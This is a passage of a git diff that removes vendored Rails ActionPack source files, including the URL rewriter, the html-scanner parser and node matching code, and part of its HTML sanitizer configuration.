-      base.class_eval do
-        attr_accessor :original_path, :content_type
-        alias_method :local_path, :path if method_defined?(:path)
-      end
-    end
-
-    def self.extended(object)
-      object.class_eval do
-        attr_accessor :original_path, :content_type
-        alias_method :local_path, :path if method_defined?(:path)
-      end
-    end
-
-    # Take the basename of the upload's original filename.
-    # This handles the full Windows paths given by Internet Explorer
-    # (and perhaps other broken user agents) without affecting
-    # those which give the lone filename.
-    # The Windows regexp is adapted from Perl's File::Basename.
-    def original_filename
-      unless defined? @original_filename
-        @original_filename =
-          unless original_path.blank?
-            if original_path =~ /^(?:.*[:\\\/])?(.*)/m
-              $1
-            else
-              File.basename original_path
-            end
-          end
-      end
-      @original_filename
-    end
-  end
-
-  class UploadedStringIO < StringIO
-    include UploadedFile
-  end
-
-  class UploadedTempfile < Tempfile
-    include UploadedFile
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb b/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb
deleted file mode 100644
index e6d99f2e..00000000
--- a/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb
+++ /dev/null
@@ -1,229 +0,0 @@
-require 'uri'
-
-module ActionController
-  # In <b>routes.rb</b> one defines URL-to-controller mappings, but the reverse
-  # is also possible: an URL can be generated from one of your routing definitions.
-  # URL generation functionality is centralized in this module.
-  #
-  # See ActionController::Routing and ActionController::Resources for general
-  # information about routing and routes.rb.
-  #
-  # <b>Tip:</b> If you need to generate URLs from your models or some other place,
-  # then ActionController::UrlWriter is what you're looking for. Read on for
-  # an introduction.
-  #
-  # == URL generation from parameters
-  #
-  # As you may know, some functions - such as ActionController::Base#url_for
-  # and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set
-  # of parameters. For example, you've probably had the chance to write code
-  # like this in one of your views:
-  #
-  #   <%= link_to('Click here', :controller => 'users',
-  #           :action => 'new', :message => 'Welcome!') %>
-  #
-  #   #=> Generates a link to: /users/new?message=Welcome%21
-  #
-  # link_to, and all other functions that require URL generation functionality,
-  # actually use ActionController::UrlWriter under the hood. And in particular,
-  # they use the ActionController::UrlWriter#url_for method. One can generate
-  # the same path as the above example by using the following code:
-  #
-  #   include UrlWriter
-  #   url_for(:controller => 'users',
-  #           :action => 'new',
-  #           :message => 'Welcome!',
-  #           :only_path => true)
-  #   # => "/users/new?message=Welcome%21"
-  #
-  # Notice the <tt>:only_path => true</tt> part. This is because UrlWriter has no
-  # information about the website hostname that your Rails app is serving. So if you
-  # want to include the hostname as well, then you must also pass the <tt>:host</tt>
-  # argument:
-  #
-  #   include UrlWriter
-  #   url_for(:controller => 'users',
-  #           :action => 'new',
-  #           :message => 'Welcome!',
-  #           :host => 'www.example.com')        # Changed this.
-  #   # => "http://www.example.com/users/new?message=Welcome%21"
-  #
-  # By default, all controllers and views have access to a special version of url_for,
-  # that already knows what the current hostname is. So if you use url_for in your
-  # controllers or your views, then you don't need to explicitly pass the <tt>:host</tt>
-  # argument.
-  #
-  # For convenience reasons, mailers provide a shortcut for ActionController::UrlWriter#url_for.
-  # So within mailers, you only have to type 'url_for' instead of 'ActionController::UrlWriter#url_for'
-  # in full. However, mailers don't have hostname information, and what's why you'll still
-  # have to specify the <tt>:host</tt> argument when generating URLs in mailers.
-  #
-  #
-  # == URL generation for named routes
-  #
-  # UrlWriter also allows one to access methods that have been auto-generated from
-  # named routes. For example, suppose that you have a 'users' resource in your
-  # <b>routes.rb</b>:
-  #
-  #   map.resources :users
-  #
-  # This generates, among other things, the method <tt>users_path</tt>. By default,
-  # this method is accessible from your controllers, views and mailers. If you need
-  # to access this auto-generated method from other places (such as a model), then
-  # you can do that in two ways.
-  #
-  # The first way is to include ActionController::UrlWriter in your class:
-  #
-  #   class User < ActiveRecord::Base
-  #     include ActionController::UrlWriter         # !!!
-  #
-  #     def name=(value)
-  #       write_attribute('name', value)
-  #       write_attribute('base_uri', users_path)   # !!!
-  #     end
-  #   end
-  #
-  # The second way is to access them through ActionController::UrlWriter.
-  # The autogenerated named routes methods are available as class methods:
-  #
-  #   class User < ActiveRecord::Base
-  #     def name=(value)
-  #       write_attribute('name', value)
-  #       path = ActionController::UrlWriter.users_path   # !!!
-  #       write_attribute('base_uri', path)               # !!!
-  #     end
-  #   end
-  module UrlWriter
-    RESERVED_PCHAR = ':@&=+$,;%'
-    SAFE_PCHAR = "#{URI::REGEXP::PATTERN::UNRESERVED}#{RESERVED_PCHAR}"
-    if RUBY_VERSION >= '1.9'
-      UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false).freeze
-    else
-      UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze
-    end
-
-    def self.included(base) #:nodoc:
-      ActionController::Routing::Routes.install_helpers(base)
-      base.mattr_accessor :default_url_options
-
-      # The default options for urls written by this writer. Typically a <tt>:host</tt> pair is provided.
-      base.default_url_options ||= {}
-    end
-
-    # Generate a url based on the options provided, default_url_options and the
-    # routes defined in routes.rb.  The following options are supported:
-    #
-    # * <tt>:only_path</tt> - If true, the relative url is returned. Defaults to +false+.
-    # * <tt>:protocol</tt> - The protocol to connect to. Defaults to 'http'.
-    # * <tt>:host</tt> - Specifies the host the link should be targetted at.
-    #   If <tt>:only_path</tt> is false, this option must be
-    #   provided either explicitly, or via +default_url_options+.
-    # * <tt>:port</tt> - Optionally specify the port to connect to.
-    # * <tt>:anchor</tt> - An anchor name to be appended to the path.
-    # * <tt>:skip_relative_url_root</tt> - If true, the url is not constructed using the
-    #   +relative_url_root+ set in ActionController::Base.relative_url_root.
-    # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2009/"
-    #
-    # Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
-    # +url_for+ is forwarded to the Routes module.
-    #
-    # Examples:
-    #
-    #    url_for :controller => 'tasks', :action => 'testing', :host=>'somehost.org', :port=>'8080'    # => 'http://somehost.org:8080/tasks/testing'
-    #    url_for :controller => 'tasks', :action => 'testing', :host=>'somehost.org', :anchor => 'ok', :only_path => true    # => '/tasks/testing#ok'
-    #    url_for :controller => 'tasks', :action => 'testing', :trailing_slash=>true  # => 'http://somehost.org/tasks/testing/'
-    #    url_for :controller => 'tasks', :action => 'testing', :host=>'somehost.org', :number => '33'  # => 'http://somehost.org/tasks/testing?number=33'
-    def url_for(options)
-      options = self.class.default_url_options.merge(options)
-
-      url = ''
-
-      unless options.delete(:only_path)
-        url << (options.delete(:protocol) || 'http')
-        url << '://' unless url.match("://")
-
-        raise "Missing host to link to! Please provide :host parameter or set default_url_options[:host]" unless options[:host]
-
-        url << options.delete(:host)
-        url << ":#{options.delete(:port)}" if options.key?(:port)
-      else
-        # Delete the unused options to prevent their appearance in the query string.
-        [:protocol, :host, :port, :skip_relative_url_root].each { |k| options.delete(k) }
-      end
-      trailing_slash = options.delete(:trailing_slash) if options.key?(:trailing_slash)
-      url << ActionController::Base.relative_url_root.to_s unless options[:skip_relative_url_root]
-      anchor = "##{URI.escape(options.delete(:anchor).to_param.to_s, UNSAFE_PCHAR)}" if options[:anchor]
-      generated = Routing::Routes.generate(options, {})
-      url << (trailing_slash ? generated.sub(/\?|\z/) { "/" + $& } : generated)
-      url << anchor if anchor
-
-      url
-    end
-  end
-
-  # Rewrites URLs for Base.redirect_to and Base.url_for in the controller.
-  class UrlRewriter #:nodoc:
-    RESERVED_OPTIONS = [:anchor, :params, :only_path, :host, :protocol, :port, :trailing_slash, :skip_relative_url_root]
-    def initialize(request, parameters)
-      @request, @parameters = request, parameters
-    end
-
-    def rewrite(options = {})
-      if options.include?(:overwrite_params)
-        ActiveSupport::Deprecation.warn 'The :overwrite_params option is deprecated. Specify all the necessary parameters instead', caller
-      end
-      rewrite_url(options)
-    end
-
-    def to_str
-      "#{@request.protocol}, #{@request.host_with_port}, #{@request.path}, #{@parameters[:controller]}, #{@parameters[:action]}, #{@request.parameters.inspect}"
-    end
-
-    alias_method :to_s, :to_str
-
-    private
-      # Given a path and options, returns a rewritten URL string
-      def rewrite_url(options)
-        rewritten_url = ""
-
-        unless options[:only_path]
-          rewritten_url << (options[:protocol] || @request.protocol)
-          rewritten_url << "://" unless rewritten_url.match("://")
-          rewritten_url << rewrite_authentication(options)
-          rewritten_url << (options[:host] || @request.host_with_port)
-          rewritten_url << ":#{options.delete(:port)}" if options.key?(:port)
-        end
-
-        path = rewrite_path(options)
-        rewritten_url << ActionController::Base.relative_url_root.to_s unless options[:skip_relative_url_root]
-        rewritten_url << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path)
-        rewritten_url << "##{CGI.escape(options[:anchor].to_param.to_s)}" if options[:anchor]
-
-        rewritten_url
-      end
-
-      # Given a Hash of options, generates a route
-      def rewrite_path(options)
-        options = options.symbolize_keys
-        options.update(options[:params].symbolize_keys) if options[:params]
-
-        if overwrite = options.delete(:overwrite_params)
-          options.update(@parameters.symbolize_keys)
-          options.update(overwrite.symbolize_keys)
-        end
-
-        RESERVED_OPTIONS.each { |k| options.delete(k) }
-
-        # Generates the query string, too
-        Routing::Routes.generate(options, @request.symbolized_path_parameters)
-      end
-
-      def rewrite_authentication(options)
-        if options[:user] && options[:password]
-          "#{CGI.escape(options.delete(:user))}:#{CGI.escape(options.delete(:password))}@"
-        else
-          ""
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner.rb
deleted file mode 100644
index f622d195..00000000
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-$LOAD_PATH << "#{File.dirname(__FILE__)}/html-scanner"
-
-module HTML
-  autoload :CDATA, 'html/node'
-  autoload :Document, 'html/document'
-  autoload :FullSanitizer, 'html/sanitizer'
-  autoload :LinkSanitizer, 'html/sanitizer'
-  autoload :Node, 'html/node'
-  autoload :Sanitizer, 'html/sanitizer'
-  autoload :Selector, 'html/selector'
-  autoload :Tag, 'html/node'
-  autoload :Text, 'html/node'
-  autoload :Tokenizer, 'html/tokenizer'
-  autoload :Version, 'html/version'
-  autoload :WhiteListSanitizer, 'html/sanitizer'
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb
deleted file mode 100644
index b8d73c35..00000000
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require 'html/tokenizer'
-require 'html/node'
-require 'html/selector'
-require 'html/sanitizer'
-
-module HTML #:nodoc:
-  # A top-level HTMl document. You give it a body of text, and it will parse that
-  # text into a tree of nodes.
-  class Document #:nodoc:
-
-    # The root of the parsed document.
-    attr_reader :root
-
-    # Create a new Document from the given text.
-    def initialize(text, strict=false, xml=false)
-      tokenizer = Tokenizer.new(text)
-      @root = Node.new(nil)
-      node_stack = [ @root ]
-      while token = tokenizer.next
-        node = Node.parse(node_stack.last, tokenizer.line, tokenizer.position, token, strict)
-
-        node_stack.last.children << node unless node.tag? && node.closing == :close
-        if node.tag?
-          if node_stack.length > 1 && node.closing == :close
-            if node_stack.last.name == node.name
-              if node_stack.last.children.empty?
-                node_stack.last.children << Text.new(node_stack.last, node.line, node.position, "")
-              end
-              node_stack.pop
-            else
-              open_start = node_stack.last.position - 20
-              open_start = 0 if open_start < 0
-              close_start = node.position - 20
-              close_start = 0 if close_start < 0
-              msg = <<EOF.strip
-ignoring attempt to close #{node_stack.last.name} with #{node.name}
-  opened at byte #{node_stack.last.position}, line #{node_stack.last.line}
-  closed at byte #{node.position}, line #{node.line}
-  attributes at open: #{node_stack.last.attributes.inspect}
-  text around open: #{text[open_start,40].inspect}
-  text around close: #{text[close_start,40].inspect}
-EOF
-              strict ? raise(msg) : warn(msg)
-            end
-          elsif !node.childless?(xml) && node.closing != :close
-            node_stack.push node
-          end
-        end
-      end
-    end
-  
-    # Search the tree for (and return) the first node that matches the given
-    # conditions. The conditions are interpreted differently for different node
-    # types, see HTML::Text#find and HTML::Tag#find.
-    def find(conditions)
-      @root.find(conditions)
-    end
-
-    # Search the tree for (and return) all nodes that match the given
-    # conditions. The conditions are interpreted differently for different node
-    # types, see HTML::Text#find and HTML::Tag#find.
-    def find_all(conditions)
-      @root.find_all(conditions)
-    end
-    
-  end
-
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
deleted file mode 100644
index ae24723d..00000000
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb
+++ /dev/null
@@ -1,537 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-  
-  class Conditions < Hash #:nodoc:
-    def initialize(hash)
-      super()
-      hash = { :content => hash } unless Hash === hash
-      hash = keys_to_symbols(hash)
-      hash.each do |k,v|
-        case k
-          when :tag, :content then
-            # keys are valid, and require no further processing
-          when :attributes then
-            hash[k] = keys_to_strings(v)
-          when :parent, :child, :ancestor, :descendant, :sibling, :before,
-                  :after
-            hash[k] = Conditions.new(v)
-          when :children
-            hash[k] = v = keys_to_symbols(v)
-            v.each do |k,v2|
-              case k
-                when :count, :greater_than, :less_than
-                  # keys are valid, and require no further processing
-                when :only
-                  v[k] = Conditions.new(v2)
-                else
-                  raise "illegal key #{k.inspect} => #{v2.inspect}"
-              end
-            end
-          else
-            raise "illegal key #{k.inspect} => #{v.inspect}"
-        end
-      end
-      update hash
-    end
-
-    private
-
-      def keys_to_strings(hash)
-        hash.keys.inject({}) do |h,k|
-          h[k.to_s] = hash[k]
-          h
-        end
-      end
-
-      def keys_to_symbols(hash)
-        hash.keys.inject({}) do |h,k|
-          raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
-          h[k.to_sym] = hash[k]
-          h
-        end
-      end
-  end
-
-  # The base class of all nodes, textual and otherwise, in an HTML document.
-  class Node #:nodoc:
-    # The array of children of this node. Not all nodes have children.
-    attr_reader :children
-    
-    # The parent node of this node. All nodes have a parent, except for the
-    # root node.
-    attr_reader :parent
-    
-    # The line number of the input where this node was begun
-    attr_reader :line
-    
-    # The byte position in the input where this node was begun
-    attr_reader :position
-    
-    # Create a new node as a child of the given parent.
-    def initialize(parent, line=0, pos=0)
-      @parent = parent
-      @children = []
-      @line, @position = line, pos
-    end
-
-    # Return a textual representation of the node.
-    def to_s
-      s = ""
-      @children.each { |child| s << child.to_s }
-      s
-    end
-
-    # Return false (subclasses must override this to provide specific matching
-    # behavior.) +conditions+ may be of any type.
-    def match(conditions)
-      false
-    end
-
-    # Search the children of this node for the first node for which #find
-    # returns non +nil+. Returns the result of the #find call that succeeded.
-    def find(conditions)
-      conditions = validate_conditions(conditions)
-      @children.each do |child|        
-        node = child.find(conditions)
-        return node if node
-      end
-      nil
-    end
-
-    # Search for all nodes that match the given conditions, and return them
-    # as an array.
-    def find_all(conditions)
-      conditions = validate_conditions(conditions)
-
-      matches = []
-      matches << self if match(conditions)
-      @children.each do |child|
-        matches.concat child.find_all(conditions)
-      end
-      matches
-    end
-
-    # Returns +false+. Subclasses may override this if they define a kind of
-    # tag.
-    def tag?
-      false
-    end
-
-    def validate_conditions(conditions)
-      Conditions === conditions ? conditions : Conditions.new(conditions)
-    end
-
-    def ==(node)
-      return false unless self.class == node.class && children.size == node.children.size
-
-      equivalent = true
-
-      children.size.times do |i|
-        equivalent &&= children[i] == node.children[i]
-      end
-
-      equivalent
-    end
-    
-    class <<self
-      def parse(parent, line, pos, content, strict=true)
-        if content !~ /^<\S/
-          Text.new(parent, line, pos, content)
-        else
-          scanner = StringScanner.new(content)
-
-          unless scanner.skip(/</)
-            if strict
-              raise "expected <"
-            else
-              return Text.new(parent, line, pos, content)
-            end
-          end
-
-          if scanner.skip(/!\[CDATA\[/)
-            unless scanner.skip_until(/\]\]>/)
-              if strict
-                raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
-              else
-                scanner.skip_until(/\Z/)
-              end
-            end
-
-            return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
-          end
-          
-          closing = ( scanner.scan(/\//) ? :close : nil )
-          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/)
-          name.downcase!
-  
-          unless closing
-            scanner.skip(/\s*/)
-            attributes = {}
-            while attr = scanner.scan(/[-\w:]+/)
-              value = true
-              if scanner.scan(/\s*=\s*/)
-                if delim = scanner.scan(/['"]/)
-                  value = ""
-                  while text = scanner.scan(/[^#{delim}\\]+|./)
-                    case text
-                      when "\\" then
-                        value << text
-                        value << scanner.getch
-                      when delim
-                        break
-                      else value << text
-                    end
-                  end
-                else
-                  value = scanner.scan(/[^\s>\/]+/)
-                end
-              end
-              attributes[attr.downcase] = value
-              scanner.skip(/\s*/)
-            end
-    
-            closing = ( scanner.scan(/\//) ? :self : nil )
-          end
-          
-          unless scanner.scan(/\s*>/)
-            if strict
-              raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})" 
-            else
-              # throw away all text until we find what we're looking for
-              scanner.skip_until(/>/) or scanner.terminate
-            end
-          end
-
-          Tag.new(parent, line, pos, name, attributes, closing)
-        end
-      end
-    end
-  end
-
-  # A node that represents text, rather than markup.
-  class Text < Node #:nodoc:
-    
-    attr_reader :content
-    
-    # Creates a new text node as a child of the given parent, with the given
-    # content.
-    def initialize(parent, line, pos, content)
-      super(parent, line, pos)
-      @content = content
-    end
-
-    # Returns the content of this node.
-    def to_s
-      @content
-    end
-
-    # Returns +self+ if this node meets the given conditions. Text nodes support
-    # conditions of the following kinds:
-    #
-    # * if +conditions+ is a string, it must be a substring of the node's
-    #   content
-    # * if +conditions+ is a regular expression, it must match the node's
-    #   content
-    # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
-    #   is either a string or a regexp, and which is interpreted as described
-    #   above.
-    def find(conditions)
-      match(conditions) && self
-    end
-    
-    # Returns non-+nil+ if this node meets the given conditions, or +nil+
-    # otherwise. See the discussion of #find for the valid conditions.
-    def match(conditions)
-      case conditions
-        when String
-          @content == conditions
-        when Regexp
-          @content =~ conditions
-        when Hash
-          conditions = validate_conditions(conditions)
-
-          # Text nodes only have :content, :parent, :ancestor
-          unless (conditions.keys - [:content, :parent, :ancestor]).empty?
-            return false
-          end
-
-          match(conditions[:content])
-        else
-          nil
-      end
-    end
-
-    def ==(node)
-      return false unless super
-      content == node.content
-    end
-  end
-  
-  # A CDATA node is simply a text node with a specialized way of displaying
-  # itself.
-  class CDATA < Text #:nodoc:
-    def to_s
-      "<![CDATA[#{super}]]>"
-    end
-  end
-
-  # A Tag is any node that represents markup. It may be an opening tag, a
-  # closing tag, or a self-closing tag. It has a name, and may have a hash of
-  # attributes.
-  class Tag < Node #:nodoc:
-    
-    # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
-    attr_reader :closing
-    
-    # Either +nil+, or a hash of attributes for this node.
-    attr_reader :attributes
-
-    # The name of this tag.
-    attr_reader :name
-        
-    # Create a new node as a child of the given parent, using the given content
-    # to describe the node. It will be parsed and the node name, attributes and
-    # closing status extracted.
-    def initialize(parent, line, pos, name, attributes, closing)
-      super(parent, line, pos)
-      @name = name
-      @attributes = attributes
-      @closing = closing
-    end
-
-    # A convenience for obtaining an attribute of the node. Returns +nil+ if
-    # the node has no attributes.
-    def [](attr)
-      @attributes ? @attributes[attr] : nil
-    end
-
-    # Returns non-+nil+ if this tag can contain child nodes.
-    def childless?(xml = false)
-      return false if xml && @closing.nil?
-      !@closing.nil? ||
-        @name =~ /^(img|br|hr|link|meta|area|base|basefont|
-                    col|frame|input|isindex|param)$/ox
-    end
-
-    # Returns a textual representation of the node
-    def to_s
-      if @closing == :close
-        "</#{@name}>"
-      else
-        s = "<#{@name}"
-        @attributes.each do |k,v|
-          s << " #{k}"
-          s << "=\"#{v}\"" if String === v
-        end
-        s << " /" if @closing == :self
-        s << ">"
-        @children.each { |child| s << child.to_s }
-        s << "</#{@name}>" if @closing != :self && !@children.empty?
-        s
-      end
-    end
-
-    # If either the node or any of its children meet the given conditions, the
-    # matching node is returned. Otherwise, +nil+ is returned. (See the
-    # description of the valid conditions in the +match+ method.)
-    def find(conditions)
-      match(conditions) && self || super
-    end
-
-    # Returns +true+, indicating that this node represents an HTML tag.
-    def tag?
-      true
-    end
-    
-    # Returns +true+ if the node meets any of the given conditions. The
-    # +conditions+ parameter must be a hash of any of the following keys
-    # (all are optional):
-    #
-    # * <tt>:tag</tt>: the node name must match the corresponding value
-    # * <tt>:attributes</tt>: a hash. The node's values must match the
-    #   corresponding values in the hash.
-    # * <tt>:parent</tt>: a hash. The node's parent must match the
-    #   corresponding hash.
-    # * <tt>:child</tt>: a hash. At least one of the node's immediate children
-    #   must meet the criteria described by the hash.
-    # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
-    #   meet the criteria described by the hash.
-    # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
-    #   must meet the criteria described by the hash.
-    # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
-    #   meet the criteria described by the hash.
-    # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
-    #   keys:
-    # ** <tt>:count</tt>: either a number or a range which must equal (or
-    #    include) the number of children that match.
-    # ** <tt>:less_than</tt>: the number of matching children must be less than
-    #    this number.
-    # ** <tt>:greater_than</tt>: the number of matching children must be
-    #    greater than this number.
-    # ** <tt>:only</tt>: another hash consisting of the keys to use
-    #    to match on the children, and only matching children will be
-    #    counted.
-    #
-    # Conditions are matched using the following algorithm:
-    #
-    # * if the condition is a string, it must be a substring of the value.
-    # * if the condition is a regexp, it must match the value.
-    # * if the condition is a number, the value must match number.to_s.
-    # * if the condition is +true+, the value must not be +nil+.
-    # * if the condition is +false+ or +nil+, the value must be +nil+.
-    #
-    # Usage:
-    #
-    #   # test if the node is a "span" tag
-    #   node.match :tag => "span"
-    #
-    #   # test if the node's parent is a "div"
-    #   node.match :parent => { :tag => "div" }
-    #
-    #   # test if any of the node's ancestors are "table" tags
-    #   node.match :ancestor => { :tag => "table" }
-    #
-    #   # test if any of the node's immediate children are "em" tags
-    #   node.match :child => { :tag => "em" }
-    #
-    #   # test if any of the node's descendants are "strong" tags
-    #   node.match :descendant => { :tag => "strong" }
-    #
-    #   # test if the node has between 2 and 4 span tags as immediate children
-    #   node.match :children => { :count => 2..4, :only => { :tag => "span" } } 
-    #
-    #   # get funky: test to see if the node is a "div", has a "ul" ancestor
-    #   # and an "li" parent (with "class" = "enum"), and whether or not it has
-    #   # a "span" descendant that contains # text matching /hello world/:
-    #   node.match :tag => "div",
-    #              :ancestor => { :tag => "ul" },
-    #              :parent => { :tag => "li",
-    #                           :attributes => { :class => "enum" } },
-    #              :descendant => { :tag => "span",
-    #                               :child => /hello world/ }
-    def match(conditions)
-      conditions = validate_conditions(conditions)
-      # check content of child nodes
-      if conditions[:content]
-        if children.empty?
-          return false unless match_condition("", conditions[:content])
-        else
-          return false unless children.find { |child| child.match(conditions[:content]) }
-        end
-      end
-
-      # test the name
-      return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
-
-      # test attributes
-      (conditions[:attributes] || {}).each do |key, value|
-        return false unless match_condition(self[key], value)
-      end
-
-      # test parent
-      return false unless parent.match(conditions[:parent]) if conditions[:parent]
-
-      # test children
-      return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
-   
-      # test ancestors
-      if conditions[:ancestor]
-        return false unless catch :found do
-          p = self
-          throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
-        end
-      end
-
-      # test descendants
-      if conditions[:descendant]
-        return false unless children.find do |child|
-          # test the child
-          child.match(conditions[:descendant]) ||
-          # test the child's descendants
-          child.match(:descendant => conditions[:descendant])
-        end
-      end
-      
-      # count children
-      if opts = conditions[:children]
-        matches = children.select do |c|
-          (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
-        end
-        
-        matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
-        opts.each do |key, value|
-          next if key == :only
-          case key
-            when :count
-              if Integer === value
-                return false if matches.length != value
-              else
-                return false unless value.include?(matches.length)
-              end
-            when :less_than
-              return false unless matches.length < value
-            when :greater_than
-              return false unless matches.length > value
-            else raise "unknown count condition #{key}"
-          end
-        end
-      end
-
-      # test siblings
-      if conditions[:sibling] || conditions[:before] || conditions[:after]
-        siblings = parent ? parent.children : []
-        self_index = siblings.index(self)
-
-        if conditions[:sibling]
-          return false unless siblings.detect do |s| 
-            s != self && s.match(conditions[:sibling])
-          end
-        end
-
-        if conditions[:before]
-          return false unless siblings[self_index+1..-1].detect do |s| 
-            s != self && s.match(conditions[:before])
-          end
-        end
-
-        if conditions[:after]
-          return false unless siblings[0,self_index].detect do |s| 
-            s != self && s.match(conditions[:after])
-          end
-        end
-      end
-  
-      true
-    end
-
-    def ==(node)
-      return false unless super
-      return false unless closing == node.closing && self.name == node.name
-      attributes == node.attributes
-    end
-    
-    private
-      # Match the given value to the given condition.
-      def match_condition(value, condition)
-        case condition
-          when String
-            value && value == condition
-          when Regexp
-            value && value.match(condition)
-          when Numeric
-            value == condition.to_s
-          when true
-            !value.nil?
-          when false, nil
-            value.nil?
-          else
-            false
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb b/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
deleted file mode 100644
index ae20f994..00000000
--- a/vendor/rails/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
+++ /dev/null
@@ -1,173 +0,0 @@
-module HTML
-  class Sanitizer
-    def sanitize(text, options = {})
-      return text unless sanitizeable?(text)
-      tokenize(text, options).join
-    end
-    
-    def sanitizeable?(text)
-      !(text.nil? || text.empty? || !text.index("<"))
-    end
-    
-  protected
-    def tokenize(text, options)
-      tokenizer = HTML::Tokenizer.new(text)
-      result = []
-      while token = tokenizer.next
-        node = Node.parse(nil, 0, 0, token, false)
-        process_node node, result, options
-      end
-      result
-    end
-    
-    def process_node(node, result, options)
-      result << node.to_s
-    end
-  end
-  
-  class FullSanitizer < Sanitizer
-    def sanitize(text, options = {})
-      result = super
-      # strip any comments, and if they have a newline at the end (ie. line with
-      # only a comment) strip that too
-      result.gsub!(/<!--(.*?)-->[\n]?/m, "") if result
-      # Recurse - handle all dirty nested tags
-      result == text ? result : sanitize(result, options)
-    end
-    
-    def process_node(node, result, options)
-      result << node.to_s if node.class == HTML::Text
-    end
-  end
-  
-  class LinkSanitizer < FullSanitizer
-    cattr_accessor :included_tags, :instance_writer => false
-    self.included_tags = Set.new(%w(a href))
-
-    def sanitizeable?(text)
-      !(text.nil? || text.empty? || !((text.index("<a") || text.index("<href")) && text.index(">")))
-    end
-    
-  protected
-    def process_node(node, result, options)
-      result << node.to_s unless node.is_a?(HTML::Tag) && included_tags.include?(node.name) 
-    end
-  end
-  
-  class WhiteListSanitizer < Sanitizer
-    [:protocol_separator, :uri_attributes, :allowed_attributes, :allowed_tags, :allowed_protocols, :bad_tags,
-     :allowed_css_properties, :allowed_css_keywords, :shorthand_css_properties].each do |attr|
-      class_inheritable_accessor attr, :instance_writer => false
-    end
-
-    # A regular expression of the valid characters used to separate protocols like
-    # the ':' in 'http://foo.com'
-    self.protocol_separator     = /:|(&#0*58)|(&#x70)|(%|&#37;)3A/
-    
-    # Specifies a Set of HTML attributes that can have URIs.
-    self.uri_attributes         = Set.new(%w(href src cite action longdesc xlink:href lowsrc))
-
-    # Specifies a Set of 'bad' tags that the #sanitize helper will remove completely, as opposed
-    # to just escaping harmless tags like &lt;font&gt;
-    self.bad_tags               = Set.new(%w(script))
-    
-    # Specifies the default Set of tags that the #sanitize helper will allow unscathed.
-    self.allowed_tags           = Set.new(%w(strong em b i p code pre tt samp kbd var sub 
-      sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dt dd abbr 
-      acronym a img blockquote del ins))
-
-    # Specifies the default Set of html attributes that the #sanitize helper will leave 
-    # in the allowed tag.
-    self.allowed_attributes     = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
-    
-    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
-    self.allowed_protocols      = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto 
-      feed svn urn aim rsync tag ssh sftp rtsp afs))
-    
-    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
-    self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse 
-      border-color border-left-color border-right-color border-top-color clear color cursor direction display 
-      elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
-      overflow pause pause-after pause-before pitch pitch-range richness speak speak-header speak-numeral speak-punctuation
-      speech-rate stress text-align text-decoration text-indent unicode-bidi vertical-align voice-family volume white-space
-      width))
-  
-    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
-    self.allowed_css_keywords   = Set.new(%w(auto aqua black block blue bold both bottom brown center
-      collapse dashed dotted fuchsia gray green !important italic left lime maroon medium none navy normal
-      nowrap olive pointer purple red right solid silver teal top transparent underline white yellow))
-
-    # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers.
-    self.shorthand_css_properties = Set.new(%w(background border margin padding))
-
-    # Sanitizes a block of css code.  Used by #sanitize when it comes across a style attribute
-    def sanitize_css(style)
